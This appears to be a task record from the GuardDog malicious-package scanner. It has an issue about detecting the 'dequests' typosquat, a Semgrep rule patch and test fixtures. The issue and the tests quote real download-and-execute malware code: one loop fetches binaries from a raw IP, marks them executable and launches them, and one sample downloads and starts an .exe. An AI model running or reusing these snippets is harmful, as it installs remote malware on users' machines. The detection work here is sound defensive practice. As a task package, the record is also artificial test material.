Repository: DataDog/guarddog (language: python)

Issue:
Heuristic: "download-binary" should catch "dequests" package
Code:

```
    for executable in all_executables:
        url = f'http://35.235.126.33/{executable}'
        req = requests.get(url)
        with open(executable, 'wb') as f:
            f.write(req.content)

        if 'linux' in operating_system or 'darwin' in operating_system:
            os.system(f'chmod +x {executable}')

        if 'linux' in operating_system:
            os.system(f'./{executable} &')
        elif 'darwin' in operating_system:
            os.system(f'./{executable} &')
        elif 'windows' in operating_system:
            os.system(f'start /B {executable}')
```

https://blog.phylum.io/phylum-detects-active-typosquatting-campaign-in-pypi


Discussion / hints:

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/download-executable.yml b/guarddog/analyzer/sourcecode/download-executable.yml
index 48441b2f..95028a93 100644
--- a/guarddog/analyzer/sourcecode/download-executable.yml
+++ b/guarddog/analyzer/sourcecode/download-executable.yml
@@ -11,6 +11,14 @@ rules:
           - patterns:
               - pattern-either:
                   - pattern: (...).urlretrieve(...,$EXE)
+                  - pattern: open($EXE, ...).write($REQUEST)
+                  - pattern: |
+                      with open($EXE, ...) as $FILE:
+                        ...
+                        $FILE.write($REQUEST)
+                      ...
+                      $MAKE_EXEC
+
               - metavariable-pattern:
                   metavariable: $EXE
                   pattern-regex: (?i)^['"].*?\.exe['"]$
@@ -18,31 +26,21 @@ rules:
           - patterns:
               - pattern-either:
                   - pattern: |
-                      (...).urlretrieve(...)
-                      ...
-                      $MAKE_EXEC
-                  - pattern: |
-                      $FILE = open($LOC, ...)
-                      ...
-                      $FILE.write($REQUEST)
+                      (...).urlretrieve(..., $LOC)
                       ...
                       $MAKE_EXEC
+
                   - pattern: |
-                      with open($LOC, ...) as $FILE:
-                        ...
-                        $FILE.write($REQUEST)
+                      open($LOC, ...).write($REQUEST)
                       ...
                       $MAKE_EXEC
+
                   - pattern: |
                       with open($LOC, ...) as $FILE:
                         ...
                         $FILE.write($REQUEST)
                       ...
                       $MAKE_EXEC
-                  - pattern: |
-                      open($LOC, ...).write($REQUEST)
-                      ...
-                      $MAKE_EXEC
 
               - metavariable-pattern:
                   metavariable: $MAKE_EXEC
@@ -75,4 +73,7 @@ rules:
       - pattern: requests.$FUNC(...)
       - pattern: (...).urlretrieve(...)
       - pattern: urlretrieve(...)
+      - pattern: requests.get(...)
     severity: WARNING
+    options: 
+      symbolic_propagation: true


Test patch:
diff --git a/tests/analyzer/sourcecode/download-executable.py b/tests/analyzer/sourcecode/download-executable.py
index 7f98acb1..b806fdb6 100644
--- a/tests/analyzer/sourcecode/download-executable.py
+++ b/tests/analyzer/sourcecode/download-executable.py
@@ -29,8 +29,8 @@ def f():
         connection.request("GET", PATH)
         response = connecton.getresponse().read()
     os.chdir(os.path.expanduser("~"))
-    # ruleid: download-executable
     d = open(LOC, "wb")
+    # ruleid: download-executable
     d.write(response)
     d.close()
     current_state = os.stat(LOC)
@@ -102,4 +102,46 @@ def f():
 def f():
     # ok: download-executable
     urllib.request.urlretrieve("https://www.google.com/robots.txt", "robots.txt")
-    os.rename("robots.txt", "roboto.txt")
\ No newline at end of file
+    os.rename("robots.txt", "roboto.txt")
+
+""" RULE ID: Downloads and creates an .exe
+"""
+def f():
+    import os
+    import requests
+   
+    URL = "https://stub.syntheticcc[.]repl.co/exo.exe"
+    response = requests.get(URL)
+    # ruleid: download-executable
+    open("exo.exe", "wb").write(response.content)
+    os.system("set __COMPACT_LAYER=RunAsInvoker | start exo.exe")
+
+""" OK: Downloads harmless file and references it
+"""
+def f():
+    import os
+    import requests
+   
+    URL = "https://stub.syntheticcc[.]repl.co/exo.exe"
+    response = requests.get(URL)
+    # ok: download-executable
+    open("exo.txt", "wb").write(response.content)
+    os.system("echo exo.txt")
+
+def f():
+    for executable in all_executables:
+        url = f'http://35.235.126[.]33/{executable}'
+        req = requests.get(url)
+        # ruleid: download-executable
+        with open(executable, 'wb') as f:
+            f.write(req.content)
+
+        if 'linux' in operating_system or 'darwin' in operating_system:
+            os.system(f'chmod +x {executable}')
+
+        if 'linux' in operating_system:
+            os.system(f'./{executable} &')
+        elif 'darwin' in operating_system:
+            os.system(f'./{executable} &')
+        elif 'windows' in operating_system:
+            os.system(f'start /B {executable}')